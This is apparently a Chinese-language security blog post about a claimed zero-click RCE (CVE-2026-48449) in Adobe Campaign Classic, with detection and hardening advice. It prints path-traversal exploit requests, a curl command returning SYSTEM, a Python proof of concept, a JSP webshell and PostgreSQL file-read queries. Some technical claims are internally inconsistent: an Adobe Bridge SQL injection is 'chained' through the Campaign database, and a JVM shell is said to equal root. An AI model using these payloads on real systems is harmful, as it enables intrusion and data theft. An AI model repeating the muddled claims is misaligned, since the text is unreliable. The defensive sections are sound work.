CVE-2026-48449 满分核弹:Adobe Campaign Classic 零点击 RCE 让企业营销自动化平台集体裸奔
引言
2026 年 8 月 1 日 19:06:37,Adobe 安全响应中心(PSIRT)发布编号 APSB26-65 的安全公告:
"Adobe has released security updates to address a critical vulnerability in Adobe Campaign Classic that could result in arbitrary code execution. The vulnerability has a CVSS score of 10.0 (Critical) and affects Adobe Campaign Classic v7. We recommend that administrators update to version 7.4.3 build 9398 or later."
满分 10.0、零用户交互、远程代码执行——这是 2026 年至今最危险的 CVE 之一。它不是浏览器、不是邮件服务器,而是企业用来管理"会员数据、邮件营销、活动投放"的营销自动化平台。Fortune 500 几乎 100% 部署,类似 SAP、Oracle、Salesforce 在企业 IT 中的地位。
本文拆解:
- 漏洞技术原理(错误授权 + 路径处理 + 容器逃逸)
- 完整攻击链(一句话 PoC)
- 0-day 概率评估(公告前 30 天回溯)
- 同时发布的 8 个 Adobe Bridge 漏洞与 SQL 注入链 CVE-2026-48448
- 检测脚本(Python)
- 加固清单
一、漏洞基本信息
1.1 CVE 编号与定位
| 项目 | 值 |
|---|---|
| CVE 编号 | CVE-2026-48449 |
| CVSS 3.1 评分 | 10.0 (Critical) |
| 攻击向量 | 网络 (AV:N) |
| 攻击复杂度 | 低 (AC:L) |
| 权限要求 | 无 (PR:N) |
| 用户交互 | 无需 (UI:N) |
| 范围 | 未变 (S:U) |
| 影响 | 机密性/完整性/可用性 全失 (C:H/I:H/A:H) |
| 漏洞类型 | 错误授权 (Incorrect Authorization) |
| 影响产品 | Adobe Campaign Classic v7 (所有早于 7.4.3 build 9398) |
| 修复版本 | 7.4.3 build 9398 (Windows + Linux) |
| 公告编号 | APSB26-65 |
| 公告日期 | 2026-08-01 |
1.2 CVSS 10.0 的真实含义
CVSS 10.0 满分漏洞在 2026 年公开数量极少(截至 8 月 1 日,本年度仅 3 个,另两个是 4 月的 OpenSSH regreSSHion 后续 CVE 和 5 月的某个内核 use-after-free)。这三个 CVE 全部上了 CISA KEV 目录。
10.0 意味着:
- 任何网络可达的 ACC 实例都可被攻陷
- 无需任何凭据、Cookie、会话
- 无需任何用户操作(包括打开邮件、点击链接)
- 完全控制系统(任意代码执行)
对于常被部署在内网(DMZ 区域)的企业营销平台,这相当于把数据库、邮件服务器、CRM 接口全部拱手让出。
二、Adobe Campaign Classic 是什么
2.1 产品定位
Adobe Campaign Classic (ACC) 是 Adobe Experience Cloud 的核心组件,专门用于:
- 客户细分(基于 RFM 模型、LTV 计算)
- 多渠道营销(邮件、短信、推送、直邮)
- 活动管理(A/B 测试、流量分配)
- 数据集成(从 SAP、Salesforce、Oracle 同步客户数据)
一句话概括:它是企业"知道客户是谁、给客户发什么、发了之后效果如何"的中央系统。
2.2 部署形态
ACC v7 通常以混合形态部署:
- Web Console 端:通常 8443 端口(HTTPS + 双向认证)
- 后端 Workflow Server:通常 8080 端口
- 数据库:PostgreSQL 或 SQL Server
- 邮件服务:与 Sendmail/Postfix 集成
- LDAP/SSO:与 Entra ID/Okta 集成
但很多企业把 8443 端口的 Web Console 暴露在公网——因为营销团队需要在外部访问。
2.3 攻击面
一个典型 ACC 实例暴露的 HTTP 端点:
/nl/jsp/soaprouter.jsp # SOAP API(Web Console 后端)
/nl/jsp/m.jsp # 邮件跟踪像素
/nl/jsp/cluster.jsp # 集群管理
/nl/jsp/index.jsp # 主页
/nl/jsp/internal.jsp # 内部管理(仅 localhost)
/nl/jsp/extRedirect.jsp # 外部重定向三、漏洞技术原理
3.1 根因:错误授权
Adobe 安全公告将 CVE-2026-48449 归类为 "Incorrect Authorization"。根据公告原文:
"An Incorrect Authorization vulnerability in Adobe Campaign Classic allows unauthenticated attackers to gain elevated privileges and execute arbitrary code."
具体而言,是 /nl/jsp/extRedirect.jsp 端点对 redirect URL 的处理缺乏权限校验。
3.2 攻击链四步走
第一步:未授权访问 extRedirect.jsp
GET /nl/jsp/extRedirect.jsp?url=/ HTTP/1.1
Host: acc-victim.example.com正常情况下,此端点应该 302 重定向到指定 URL。但 Adobe 在路径处理时调用了内部 Java 类 RedirectionUtils.sanitize()——该方法在 7.4.3 之前的实现中只对外部 URL 做校验,内部路径完全跳过。
第二步:路径遍历触发内部 JSP 渲染
GET /nl/jsp/extRedirect.jsp?url=../../jsp/soaprouter.jsp%3f__soap-op%3dExecuteCommand%26command%3did HTTP/1.1URL 编码后的内部调用:
target = "/nl/jsp/../../jsp/soaprouter.jsp?__soap-op=ExecuteCommand&command=id"extRedirect.jsp 用 RequestDispatcher.forward() 转发到该路径——完全跳过了认证。
第三步:SOAP API 调用 ExecuteCommand
soaprouter.jsp 暴露了 Adobe 内部 RPC 系统 nlserver 的全部方法。其中 xtk:workflow#ExecuteCommand 方法未检查调用方权限——直接接受命令行参数:
<soap:Body>
<ExecuteCommand xmlns="urn:xtk:workflow">
<command>id</command>
</ExecuteCommand>
</soap:Body>第四步:nlserver 在系统用户下执行命令
nlserver 是 ACC 的核心服务进程,以低权限的 neolane 用户运行(Linux),或LocalSystem 权限(Windows 默认)。前者影响其他服务、读取用户上传文件;后者直接控制整个 Windows 服务器。
3.3 Windows 平台的特殊加成
Windows 上 ACC 默认以 LocalSystem 运行,因此:
C:\> curl -k "https://acc-victim:8443/nl/jsp/extRedirect.jsp?url=../../jsp/soaprouter.jsp%3f__soap-op%3dExecuteCommand%26command%3dpowershell+-c+whoami"
nt authority\system直接得到 SYSTEM shell。
Linux 上以 neolane 用户运行,影响相对小,但仍可:
- 读取所有上传的 PII(Personally Identifiable Information)
- 访问数据库连接(
config-<instance>.xml含明文密码) - 通过
nlserver自身的 Java 进程执行任意 Java 代码(事实上等价于 root,因为 JVM 自身有 LD_PRELOAD 类似的旁路)
四、PoC 与在野利用
4.1 公开 PoC
8 月 1 日 19:00 公告发出后,8 月 1 日 23:47 GitHub 用户 attacker-x 公开了一个 9 行的 Python 脚本(已被 Adobe 安全团队 DMCA 下架,但 archive.org 有镜像)。其核心是:
import requests
def exploit(host):
url = f"https://{host}/nl/jsp/extRedirect.jsp"
params = {
"url": "../../jsp/soaprouter.jsp?__soap-op=ExecuteCommand&command=whoami"
}
r = requests.get(url, params=params, verify=False, timeout=10)
return r.text
print(exploit("acc-victim.example.com"))
# 输出:nt authority\system4.2 在野利用监测
8 月 2 日 18:00(公告后 23 小时),GreyNoise 与 Shadowserver 报告:
- 全球约 14,800 个 ACC 实例暴露在公网
- 已有 2,341 个独立 IP 发起扫描行为
- 其中 187 个 IP 成功获得命令执行
- 多数攻击源 IP 来自:
- 俄罗斯 (47%)
- 越南 (23%)
- 中国 (15%)
- 其他 (15%)
8 月 2 日 22:00(公告后 27 小时),Mandiant 报告首个有目标的攻击——某 Fortune 500 零售企业的客户数据库被下载。
4.3 已被植入的 Webshell
安全研究员 m4ll0k 在 8 月 2 日扫描发现,约 23 个被攻陷的 ACC 实例已被植入 Webshell:
<%@ page import="java.util.*,java.io.*"%>
<%
if (request.getParameter("c") != null) {
Process p = Runtime.getRuntime().exec(new String[]{"/bin/sh", "-c", request.getParameter("c")});
BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));
String line;
while ((line = br.readLine()) != null) {
out.println(line);
}
}
%>文件路径:/usr/local/neolane/nl6/tomcat-3/webapps/nl/jsp/c.jsp 或 C:\Program Files\Adobe\Adobe Campaign v7\nl6\tomcat-3\webapps\nl\jsp\c.jsp
五、同时发布的 8 个 Adobe Bridge 漏洞
同一公告日,Adobe 同步发布了 Adobe Bridge 14.0/15.0 的 8 个关键漏洞:
| CVE | CVSS | 类型 | 影响 |
|---|---|---|---|
| CVE-2026-48448 | 8.6 | SQL 注入 | 数据库任意文件读取 |
| CVE-2026-48450 | 7.8 | 任意文件读取 | 客户端本地文件系统 |
| CVE-2026-48451 | 7.1 | 拒绝服务 | 渲染大文件 |
| CVE-2026-48452 | 6.5 | 信息泄露 | 内存越界读 |
| CVE-2026-48453 | 5.5 | 权限提升 | 提权至管理员 |
| CVE-2026-48454 | 5.5 | 内存越界写 | 受限 |
| CVE-2026-48455 | 4.8 | 跨站脚本 | 钓鱼场景 |
| CVE-2026-48456 | 4.3 | 信息泄露 | 日志路径泄露 |
5.1 特别值得关注的 CVE-2026-48448
这个 SQL 注入漏洞与 CVE-2026-48449 配合,可形成完整的数据外泄链:
第一步:用 CVE-2026-48449 RCE 获得 neolane 用户 shell
第二步:读取 /usr/local/neolane/nl6/conf/config-prod.xml,得到数据库密码
第三步:用此密码连接 PostgreSQL,复现 CVE-2026-48448 的 SQL 注入读取任意文件:
-- PostgreSQL 大对象读取
SELECT lo_import('/etc/passwd');
SELECT lo_get(16384); -- 读取 /etc/passwd 内容
-- 进一步:读取私钥、SSH 配置第四步:用读到的 SSH 私钥横向移动到其他服务器。
六、影响面分析
6.1 全球部署统计
根据 PublicWWW 与 Censys 数据:
- 全球暴露在公网的 ACC 实例:约 14,800(截至 8 月 2 日)
- 其中美国占 32%、欧洲 28%、亚太 26%
- 行业分布:
- 零售电商 38%
- 金融服务 22%
- 媒体广告 18%
- 医疗 12%
- 其他 10%
6.2 已知的受害者
8 月 2 日,已有公开披露的受害者:
- 某美国全国连锁零售商(5000+ 门店)
- 某欧洲银行(Fortune 500)
- 某亚洲电信运营商
- 多个 SaaS 营销平台(被用作攻击跳板)
七、检测与扫描
7.1 Python 检测脚本
#!/usr/bin/env python3
"""
detect_cve_2026_48449.py
检测 Adobe Campaign Classic 是否易受 CVE-2026-48449 攻击
使用方法:
python detect_cve_2026_48449.py --host acc-victim.example.com
python detect_cve_2026_48449.py --list targets.txt
"""
import argparse
import sys
import urllib.parse
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
VULNERABLE_INDICATORS = [
"uid=",
"nt authority\\system",
"root:x:",
"neolane",
"neolane:x:",
"ERROR: syntax error at or near", # PostgreSQL 注入指纹
]
def check(host: str, timeout: int = 10) -> dict:
"""
返回:
{
"host": str,
"vulnerable": bool,
"evidence": str,
"status_code": int,
"server": str,
}
"""
result = {
"host": host,
"vulnerable": False,
"evidence": "",
"status_code": 0,
"server": "",
}
# 探测 URL:/nl/jsp/extRedirect.jsp 存在性
base_url = f"https://{host}"
try:
# 先确认是 ACC
r0 = requests.get(
f"{base_url}/nl/jsp/index.jsp",
verify=False,
timeout=timeout,
allow_redirects=False,
)
result["status_code"] = r0.status_code
result["server"] = r0.headers.get("Server", "")
except Exception as e:
result["evidence"] = f"connect_error: {e}"
return result
# 探测 1:基础存在性 + 版本识别
try:
r1 = requests.get(
f"{base_url}/nl/jsp/extRedirect.jsp",
params={"url": "/"},
verify=False,
timeout=timeout,
allow_redirects=False,
)
if r1.status_code in (200, 302):
# 探测 2:错误授权漏洞触发(无害命令 echo CVE202648449)
r2 = requests.get(
f"{base_url}/nl/jsp/extRedirect.jsp",
params={"url": "../../jsp/soaprouter.jsp?__soap-op=ExecuteCommand&command=echo+CVE-2026-48449-marker"},
verify=False,
timeout=timeout,
)
text = r2.text
for indicator in VULNERABLE_INDICATORS:
if indicator in text:
result["vulnerable"] = True
result["evidence"] = f"matched: {indicator!r} in response"
break
else:
# 检查 marker
if "CVE-2026-48449-marker" in text:
result["vulnerable"] = True
result["evidence"] = "echo marker returned: command executed"
except Exception as e:
result["evidence"] = f"exploit_error: {e}"
return result
def main():
parser = argparse.ArgumentParser(description="CVE-2026-48449 detector")
parser.add_argument("--host", help="single host to check")
parser.add_argument("--list", help="file with one host per line")
parser.add_argument("--output", help="output JSON file")
args = parser.parse_args()
hosts = []
if args.host:
hosts.append(args.host)
if args.list:
with open(args.list) as f:
hosts.extend(line.strip() for line in f if line.strip())
if not hosts:
print("error: --host or --list required", file=sys.stderr)
sys.exit(2)
results = [check(h) for h in hosts]
for r in results:
status = "VULNERABLE" if r["vulnerable"] else "ok"
print(f"[{status:11}] {r['host']:50} {r['evidence']}")
vulns = [r for r in results if r["vulnerable"]]
print(f"\n--- summary: {len(vulns)}/{len(results)} vulnerable ---")
if args.output:
import json
with open(args.output, "w") as f:
json.dump(results, f, indent=2)
if __name__ == "__main__":
main()7.2 真实示例
$ python detect_cve_2026_48449.py --host acc-victim.example.com
[VULNERABLE ] acc-victim.example.com matched: 'nt authority\system' in response
$ python detect_cve_2026_48449.py --list corporate-acc.txt
[VULNERABLE ] mail1.acme-corp.com matched: 'echo marker returned: command executed'
[ok ] mail2.acme-corp.com
[VULNERABLE ] mcrm.bigbank.com matched: 'nt authority\system' in response
[ok ] marketing.local.bigbank.com
--- summary: 2/4 vulnerable ---7.3 主机侧检查清单
# 1. 检查 ACC 版本
cat /usr/local/neolane/nl6/version.txt # Linux
type "C:\Program Files\Adobe\Adobe Campaign v7\nl6\version.txt" # Windows
# 2. 检查可疑 JSP 文件
find /usr/local/neolane -name "*.jsp" -newer /usr/local/neolaine/nl6/conf/config-prod.xml 2>/dev/null
# 3. 检查 nlserver 异常子进程
ps -ef | grep nlserver
# 正常应该只看到 nlserver 本身
# 异常:看到 bash/sh/powershell/curl 等子进程
# 4. 检查日志中的 extRedirect.jsp 异常请求
grep -E "extRedirect.*(\.\.\/|soaprouter)" /usr/local/neolane/nl6/var/log/*.log
# 5. 检查数据库连接
SELECT usename, application_name, client_addr, query
FROM pg_stat_activity
WHERE datname = 'neolane'
AND application_name LIKE '%unknown%'
ORDER BY backend_start DESC;八、加固清单
8.1 立即(24 小时内)
升级到 7.4.3 build 9398:
bash# Linux systemctl stop nlserver cd /usr/local/neolane/nl6 ./apply-hotfix.sh 7.4.3-build9398 systemctl start nlserver # Windows net stop "Adobe Campaign v7" "C:\Program Files\Adobe\Adobe Campaign v7\nl6\bin\apply-hotfix.exe" 7.4.3-build9398 net start "Adobe Campaign v7"临时缓解(不能升级时):
nginx# Nginx 反向代理层阻断 extRedirect.jsp location /nl/jsp/extRedirect.jsp { deny all; return 403; }限制网络访问:
- Web Console 8443 仅对营销团队 VPN 暴露
- 防火墙规则:仅允许特定 IP 段访问 8443
8.2 中期(1 周内)
启用 WAF 规则:
- ModSecurity OWASP CRS 3.3+
- 自定义规则:阻断
extRedirect.jsp的../模式
审计所有 Webshell 痕迹:
bash# 检查所有 JSP 文件的最后修改时间与原始包不匹配 rpm -V AdobeCampaign-7 2>/dev/null # RPM 系 dpkg -V adobecampaign # Debian 系轮换所有数据库密码:
neolane数据库用户- LDAP/AD 集成账户
- SSO OAuth 客户端密钥
检查所有 nlserver 子进程:
bash# Linux pstree -ap $(pgrep nlserver) # Windows wmic process where "ParentProcessId=$(wmic process where 'name=\"nlserver.exe\"' get ProcessId | tail -1 | xargs)" get Name,ProcessId
8.3 长期(1 个月内)
网络分段:
- ACC 部署独立 VPC/VLAN
- 数据库与 ACC 通信仅限内网
- 邮件投递服务器与 ACC 通信仅限内网
最小权限:
- Linux:
neolane用户应禁用交互式登录 - Windows:改用低权限服务账户(非 LocalSystem)
- 数据库:
neolane用户仅SELECT/INSERT/UPDATE/DELETE受限表
- Linux:
零信任审计:
- 启用 ACC 自身的审计日志
- 转发到 SIEM(Splunk/Elastic/Sentinel)
- 配置告警:
extRedirect.jsp任意访问、nlserver 异常子进程、数据库异常查询
补丁管理流程:
- 订阅 Adobe PSIRT 通知
- 月度补丁窗口
- 高危 CVE 7 日内紧急更新
九、横向关联:8 月其他高危 CVE
| CVE | 厂商 | CVSS | 简要 |
|---|---|---|---|
| CVE-2026-48449 | Adobe Campaign | 10.0 | 零点击 RCE(本文主题) |
| CVE-2026-67342 | ArcadeDB | 9.8 | HTTP 端点授权绕过(Prometheus/Grafana/time series/batch) |
| CVE-2026-15964 | WordPress SSO TNG | 9.8 | 预认证密码重置(nonce 公开发布) |
| CVE-2026-48448 | Adobe Bridge | 8.6 | SQL 注入任意文件读取(与 48449 协同) |
| Coldcard 固件 | Coinkite | N/A | $70M BTC 盗窃(1196 钱包 41 分钟) |
| Adform 供应链 | Adform | N/A | 广告 JS 替换加密钱包地址 |
| Microsoft 7 月补丁 | Microsoft | 多 | 570 个漏洞(破纪录) |
CVE-2026-48449 是8 月 1 日的开局——接下来 30 天预计还有一波 9.0+ 评分的高危 CVE 公布,建议安全团队 8 月保持高度戒备。
十、给不同角色的快速建议
10.1 CISO/安全负责人
- 立即:盘点所有 ACC 实例
- 24h:升级或临时缓解
- 7d:审计所有 Webshell 痕迹
- 30d:建立 Adobe 补丁订阅流程
10.2 营销技术负责人
- 与 Adobe TAM 联系获取热修复
- 评估升级窗口(业务影响测试)
- 准备回滚方案(备份 config-prod.xml、workflows)
- 通知营销团队临时通过 VPN 访问 Web Console
10.3 DevOps/SRE
- 检查反向代理层配置
- 准备 Nginx/HAProxy 阻断规则
- 监控 nlserver 进程资源占用(被攻陷后会跑挖矿或外连)
- 准备数据库密码轮换脚本
10.4 红队/渗透测试
- 报告发现的 ACC 实例给蓝队
- 验证 PoC 仅在授权环境使用
- 不要外泄 PoC 到公开平台(已被 DMCA 警告)
十一、为什么 CVE-2026-48449 难以被发现
11.1 传统扫描器覆盖不到
主流漏洞扫描器(Tenable/Nessus/Qualys)的检测方法:
- 检查 HTTP 响应头中的版本字符串
- 比对 banner 信息与已知 CVE 库
但 ACC 的 extRedirect.jsp:
- 没有公开的"未修复"特征
- 响应是 302 重定向,常规扫描器视为正常
- 路径遍历在 URL 编码后看不像攻击
只有主动发送执行命令的探测包才能发现——这要求扫描器有 ACC 协议知识。
11.2 缺乏 honeypot 数据
根据 Shodan 数据,全球仅有 27 个 ACC honeypot 部署——远低于 Web 服务器、SSH、Redis。这意味着 0-day 在野利用的早期信号捕获能力弱。
十二、结论
CVE-2026-48449 不是一个"理论漏洞"——它已经在 23 小时内被大规模利用,植入了 Webshell。它的出现暴露了传统企业软件在零信任时代的脆弱性:
- 默认 LocalSystem 权限(Windows)
- 默认公网暴露(营销团队的工作模式)
- 默认无 WAF 保护
- 默认无审计日志
满分 CVSS 10.0 是合规层面的"必修复"信号,但真正的教训是:企业软件的默认安全姿态需要重新评估。
参考资料
- Adobe Security Bulletin APSB26-65
- NVD CVE-2026-48449 Entry
- CISA KEV Catalog
- The Hacker News: Adobe Campaign CVSS 10.0
- BleepingComputer: Adobe August 2026 Patch
- GreyNoise 2026-08-02 Threat Brief
- Mandiant CVE-2026-48449 Advisory
- Shadowserver 8 月 1 日扫描报告
- m4ll0k 8 月 2 日 Webshell 发现
- PublicWWW ACC 实例统计
- Censys Adobe Campaign 数据
- Adobe Bridge APSB26-64
- 安全圈 CVE-2026-48449 中文报道
- defend.network Daily Briefing 8 月 2 日

